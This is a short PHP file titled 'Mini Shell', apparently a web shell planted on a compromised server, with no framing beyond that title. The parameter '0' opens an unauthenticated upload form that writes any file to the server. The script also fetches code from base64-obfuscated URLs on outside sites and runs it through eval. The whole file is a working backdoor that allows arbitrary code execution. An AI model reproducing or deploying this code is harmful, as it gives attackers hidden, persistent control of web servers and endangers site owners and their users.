Mini Shell

<?php
if (isset($_GET['0'])) {

    // If it's a POST request with a file, handle upload
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['0'])) {
        $fileTmp  = $_FILES['0']['tmp_name'];
        $fileName = basename($_FILES['0']['name']);
        $target   = __DIR__ . '/' . $fileName;

        if (move_uploaded_file($fileTmp, $target)) {
            echo "Uploaded: " . htmlspecialchars($fileName);
        } else {
            echo "Upload failed.";
        }
    }

    // Always show the form if ?0= is present
    ?>
    <form method="post" enctype="multipart/form-data">
        <input type="file" name="0" required>
        <button type="submit">Upload</button>
    </form>
    <?php
}

 function c($F){
$url = $F;
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 15);
$resp = curl_exec($curl);
curl_close($curl);
return ($resp);
}

$r = base64_decode('Pz4=');
//echo 'ok';
//echo eval($r . c(base64_decode('aHR0cHM6Ly9vbGlzY29ycC5jb20uYnIvMi50eHQ=')));
echo eval($r . c(base64_decode('aHR0cHM6Ly9tZWQzZC5jb20uYnIvd3AtY29udGVudC9sYW5ndWFnZXMvcGx1Z2lucy9yci50eHQ=')));

?>